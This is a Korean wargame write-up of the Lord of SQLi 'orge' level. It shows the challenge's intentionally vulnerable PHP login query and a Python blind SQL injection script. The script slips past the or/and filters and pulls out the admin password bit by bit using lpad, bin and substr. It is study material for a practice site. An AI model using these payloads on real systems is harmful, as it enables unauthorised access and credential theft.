[WARGAME][los] orge

jckim22·2022년 11월 23일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
99/114
select id from prob_orge where id='guest' and pw=''|| id='admin' && substr(lpad(bin(ascii(substr(pw,1,1))),8,0),1,1) = 1 -- '

아래는 서버코드이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

대충 파악하면 기존에 필터링하는 문자들과 or, and를 전 문제처럼 필터링하고 있다.

쿼리가 2개 있고 대충봐도 blind sql injection으로 풀어야하는 것이 보인다.

orc 문제와 같은 전개로 풀어보겠다.
이번 문제는 조금 다르게 비트를 이용해서 풀겠다.

블라인드 sql injection을 공부하다가 아스키 코드를 각각 비교하는 것보다 비트로 비교하는 것이 훨씬 연산속도가 적다고 했다.

127번 비교하는 것보다는 8번 비교하는 것이 훨씬 빠르기 때문이다.

일단 아래 인젝션 쿼리로 길이를 구해보겠다.
and는 &&로 우회한다.

그리고 전에 시행착오를 겪고 pw가 하나가 아닐 수 있다는 것을 알았으므로 id='admin'을 넣어준다.

그 후 아래와 같은 익스플로잇을 짜준다.
orc 때와 and를 우회한 거 말고는 달라진건 없다.

import requests

url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

cookies ={
    'PHPSESSID':''
}

i=0
while(True):

    i+=1

    params={
        'pw':f"'|| id='admin' && length(pw)={i} -- "
    }

    print(f"try{i}")

    if 'Hello admin' in requests.get(url,params=params,cookies=cookies).text:
        print(f"password's length :{i}")
        pw_length=i
        break

이번에도 아래와 같이 비밀번호의 길이는 8이다.

자 이제 비트 비교 연산으로 비밀번호를 구해보자.
전에 드림핵 워게임 blind sql injection Advanced 보다는 쉬운 비트연산이다.

아래의 인젝션 쿼리를 짰다.

위 쿼리를 설명하자면 admin의 pw의 첫번째 글자를 ascii함수로 아스키코드 값으로 바꾸고 bin으로 비트로 바꾸어준다.
(멀티바이트의 경우 ascii는 가장 왼쪽 아스키 문자만 반환하기 때문에 ord함수를 사용해야한다고 한다. ord 함수는 멀티바이트 공식을 적용하는데 바이트가 하나라면 ascii와 똑같이 작동한다.)

그리고 lpad함수로 8자리 빈 곳은 0으로 채우는 식으로 1byte 즉 8bits를 완성한다.
그리고 각각의 비트 자리를 비교하기 위해 substr을 한번 더 사용한다.
반복은 물론 8번만 하면 8자리를 다 비교할 수 있다.

그럼 이제 이걸 토대로 익스플로잇 코드를 이어서 짜보자.

import requests

url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

cookies ={
    'PHPSESSID':''
}

i=0
while(True):

    i+=1

    params={
        'pw':f"'|| id='admin' && length(pw)={i} -- "
    }

    print(f"try{i}")

    if 'Hello admin' in requests.get(url,params=params,cookies=cookies).text:
        print(f"password's length :{i}")
        pw_length=i
        break

pw=""

for i in range(1,pw_length+1):
    bits=""
    for j in range(1,9):
        params={
            'pw':f"'|| id='admin' && substr(lpad(bin(ascii(substr(pw,{i},1))),8,0),{j},1) = 1 --  "
        }

        res=requests.get(url,params=params,cookies=cookies)

        if 'Hello admin' in res.text:
            bits+='1'
        else:
            bits+='0'

    print(f"{i}번째 bits={bits}")   

연산을 수행할 때마다 if 조건이 참이면 1을 else면 0을 넣어줬다.

그랬더니 아래와 같은 결과가 나왔다.


이제 비트를 구했으니 다왔다.

비트를 문자로 풀어주자.

아래는 최종 익스플로잇이다.

import requests

url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

cookies ={
    'PHPSESSID':''
}

i=0
while(True):

    i+=1

    params={
        'pw':f"'|| id='admin' && length(pw)={i} -- "
    }

    print(f"try{i}")

    if 'Hello admin' in requests.get(url,params=params,cookies=cookies).text:
        print(f"password's length :{i}")
        pw_length=i
        break

pw=""

for i in range(1,pw_length+1):
    bits=""
    for j in range(1,9):
        params={
            'pw':f"'|| id='admin' && substr(lpad(bin(ascii(substr(pw,{i},1))),8,0),{j},1) = 1 --  "
        }

        res=requests.get(url,params=params,cookies=cookies)

        if 'Hello admin' in res.text:
            bits+='1'
        else:
            bits+='0'

    print(f"{i}번째 bits={bits}")   
    print(f"{i}번째 문자는{chr(int(bits,2))}")
    pw+=chr(int(bits,2))

print(f"password : {pw}")

마지막에 int(bits,2)로 2진수 bits를 10진수로 바꾸어준 다음 chr함수로 아스키코드 문자로 바꾸어주어서 pw에 담는다.

그렇게 되면 결과값은 아래와 같다.

구한 패스워드를 파라미터로 넣어주면

flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글